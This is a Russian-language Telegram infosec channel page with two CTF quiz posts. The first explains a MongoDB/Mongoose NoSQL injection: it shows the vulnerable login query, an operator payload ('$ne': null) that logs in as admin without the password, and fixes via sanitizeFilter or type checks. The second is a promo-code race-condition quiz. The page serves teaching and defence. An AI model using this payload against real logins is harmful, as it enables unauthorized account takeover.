Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.6K subscribers
2.27K photos
140 videos
188 files
3.32K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://t.iss.one/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
🔓 Разбор задачи

Ответ: 👾 NoSQL Injection

❗️ Уязвимость:


User.findOne({ username, password });


Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).

❗️ Эксплойт:


{
"username": "admin",
"password": { "$ne": null }
}


❗️ Запрос превращается в:


{ username: "admin", password: { $ne: null } }


Пароль admin ≠ null → документ найден → FLAG получен.

🛡️ Как фиксить:

Коротко и по делу:


mongoose.set('sanitizeFilter', true);


или проверять типы:


if (typeof password !== 'string') return 400;


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰21
✏️ Задача «Распродажа»

Представим, что специалистами по безопасности приложений была найдена ошибка в одном из продуктов, позволяющая изменять конечную цену товара. Известно, что внутри класса Promocode есть обращение к методу calculate_total. Выше представлена часть кода, содержащая уязвимость.

Какой вариант уязвимости представлен в коде:

🥰 — Race Condition при применении промокода

👾 — Race Condition при добавлении товаров

❤️ — TOCTOU (Time-of-Check-Time-of-Use) при расчёте скидки

🎁 Новогодняя акция: 3 курса по цене 1
🤝 Помощь с выбором курса

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰64👾3